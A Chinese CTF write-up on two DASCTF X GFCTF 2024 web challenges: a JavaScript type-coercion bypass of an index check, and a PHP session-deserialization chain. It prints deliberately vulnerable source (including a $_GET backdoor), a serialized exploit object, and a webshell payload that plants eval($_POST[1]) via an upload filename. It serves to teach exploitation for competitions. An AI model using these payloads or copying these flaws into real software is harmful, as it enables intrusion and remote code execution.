DASCTF X GFCTF 2024

JavaScript-类型混淆赛题笔记

题目出处:DASCTF X GFCTF 2024-Cool_index

记录一下,也算是成长的经历之一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import express from "express";
import jwt from "jsonwebtoken";
import cookieParser from "cookie-parser";
import crypto from "crypto";
const FLAG = process.env.DASFLAG || "DASCTF{fake_flag}";
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.static("static"));
app.set("view engine", "ejs");

const JWT_SECRET = crypto.randomBytes(64).toString("hex");
console.log(JWT_SECRET)
const articles = [
{
line1: "我还是在这里 我还是",
line2: "如约而至地出现了"
},
{
line1: "你们有成为更好的自己吗",
line2: "真的吗 那可太好了"
},
{
line1: "你知道吗 我经常说",
line2: "把更多的时间花在 CTF 上(?)"
},
{
line1: "这是一种信念感",
line2: "就像我出来那给你们"
},
{
line1: "我也希望你们能把更多时间花在热爱的事情上",
line2: "我是一个特别固执的人"
},
{
line1: "我从来不会在意别人跟我说什么",
line2: "让我去做以及怎么做 我不管"
},
{
line1: "如果 你也可以像我一样",
line2: "那我觉得 这件事情"
},
{
line1: "欢迎参加 DASCTF x GFCTF 2024!",
line2: FLAG,
},
];

app.get("/", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
res.render("home", {
username: decoded.username,
subscription: decoded.subscription,
articles: articles,
});
} catch (error) {
res.clearCookie("token");
res.redirect("/register");
}
} else {
res.redirect("/register");
}
});

app.get("/register", (req, res) => {
res.render("register");
});

app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}

return res.status(400).json({ message: "用户名或邀请码无效" });
});

app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
console.log(index);//index="07 ]" 结果会是原始输入
if (req.body.index < 0) {//false
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {//true&false=>false 问题出在这个强制类型转换这里
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);//7
console.log(index)
if (Number.isNaN(index) || index > articles.length - 1) {//false||7>7(false)
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

app.listen(3000, () => {
console.log("3000");
});

审计代码,发现Flag位于index为7的部分.开始审计我考虑了两个方向,一是利用index来获取受到访问控制的内容,二是利用secret泄露来进行JWT token伪造.

由于没有可用的secret泄露途径,考虑利用index来进行处理.

我们重点关注获取文章内容的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
console.log(index);//index="07 ]" 结果会是原始输入
if (req.body.index < 0) {//false
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {//true&false=>false 问题出在这个强制类型转换这里
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);//7
console.log(index)
if (Number.isNaN(index) || index > articles.length - 1) {//false||7>7(false)
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

要求绕过以下Waf获取index为7的信息

1
2
3
4
5
6
WAF1
if (req.body.index < 0)
WAF2
if (decoded.subscription !== "premium" && index >= 7)
WAF3
index = parseInt(index);if (Number.isNaN(index) || index > articles.length - 1)

这里涉及到了Javascript类型混淆的知识点,先上payload.

1
{"index": "07 ]"}

Bypass WAF1

传入index值为”07 ]”.在执行req.body.index < 0判断时,会尝试将“07 ]”转换成数字,但是失败;结果为NaN值,NaN<0为false,所以成功绕过waf1.

关于NaN…

全局属性 NaN 是一个表示非数字的值。

NaN全局对象的一个属性。换句话说,它是全局作用域中的一个变量。

NaN 的初始值不是数字——与 Number.NaN 的值相同。在现代浏览器中,NaN 是一个不可配置、不可写的属性。即使不是这样,也要避免重写它。在程序中很少使用 NaN

有五种不同类型的操作返回 NaN

  • 失败的数字转换(例如,显式转换,如 parseInt("blabla")Number(undefined),或隐式转换,如 Math.abs(undefined)
  • 计算结果不是实数的数学运算(例如,Math.sqrt(-1)
  • 不定式(例如,0 * Infinity1 ** InfinityInfinity / InfinityInfinity - Infinity
  • 一个操作数被强制转换为 NaN 的方法或表达式(例如,7 ** NaN7 * "blabla")——这意味着 NaN 具有传染性
  • 将无效值表示为数字的其他情况(例如,无效的 Date new Date("blabla").getTime()"".charCodeAt(1)

更多信息:NaN - JavaScript | MDN (mozilla.org)

Bypass WAF2

premium:false

判断:”07 ]”>=7为false:同上,利用解析NaN漏洞进行绕过.

Bypass WAF3

一些附加知识…

parseInt 函数的工作原理:

  1. 扫描和转换:

    1. parseInt 从给定字符串的第一个字符开始扫描。
    2. 它会跳过所有前导空白字符(比如空格、制表符等直到遇到第一个非空白字符)。
    3. 一旦它开始解析数字,它会继续解析直到遇到第一个非数字字符。
  2. 解析 “07 ]”:

    1. 对于字符串 "07 ]"parseInt 从第一个字符 '0' 开始解析。
    2. 它继续解析 '7',因为这还是数字的一部分。
    3. 当遇到空格 ' '(这是第一个非数字字符),parseInt 停止解析。
    4. 因此,parseInt("07 ]") 会成功地解析并返回数字 7

所以index会被更新为7,不会触发**if (Number.isNaN(index) || index > articles.length - 1)**的检查,从而完成了最后一层绕过.

flag:DASCTF{b76059e6-3899-4269-b0bb-36e190cc98c0}

Web1234复现题解

源码

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php

class Admin{

public $Config;

public function __construct($Config){
//安全获取基本信息,返回修改配置的表单
$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
$Config->sex = (is_string($Config->sex) ? $Config->sex : "");
$Config->mail = (is_string($Config->mail) ? $Config->mail : "");
$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
$this->Config = $Config;

echo ' <form method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" >
<input type="text" name="nickname" placeholder="nickname"/>
<input type="text" name="sex" placeholder="sex"/>
<input type="text" name="mail" placeholder="mail"/>
<input type="text" name="telnum" placeholder="telnum"/>
<input type="submit" name="m" value="edit"/>
</form>';
}

public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;

$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;

file_put_contents("/tmp/Config", serialize($Config));

if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}

public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}

public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}

public function __wakeup(){
$this->Config = ":(";
}

public function __destruct(){
echo $this->Config->showconf();
}
}



class Config{

public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;

public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}

public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}

public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}

}



class Log{

public $data;

public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}

public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","<?php\nerror_reporting(0);\n");
}
return ":O";
}

public function log(){
file_put_contents('record.php', $this->data, FILE_APPEND);
}
}

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
if(!is_array($value)){
$param[$key] = addslashes($value);
}
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
$Admin = new Admin($Config);
if($_POST['m'] === 'edit'){

$avatar['fname'] = $_FILES['avatar']['name'];
$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
$nickname = $param['nickname'];
$sex = $param['sex'];
$mail = $param['mail'];
$telnum = $param['telnum'];

$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
}elseif($_POST['m'] === 'reset') {
$Admin->resetconf();
}
}else{
die("pls login! :)");
}

分析&题解

在config里找到一串密码:

1
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"[email protected]";s:6:"telnum";s:11:"12345678901";}

使用?uname=admin&passwd=1q2w3e登录

hint:session_start(),注意链子挖掘

思路

通过session_start启动session反序列化

以PHP为例,理解session的原理

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
    • 如果Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组
  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

反序列化链路挖掘

1
Config#__sleep -> Config.showconf() -> Log#__toString 

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

sess_Ec3o文件内容

1
aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

在⽂件名处写马,⽂件名为 1’;eval($_POST[1]);# 即可

注意删去Cookie,防止再次写入 <?php error_reporting(0);

复现参考题解|【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)-CSDN博客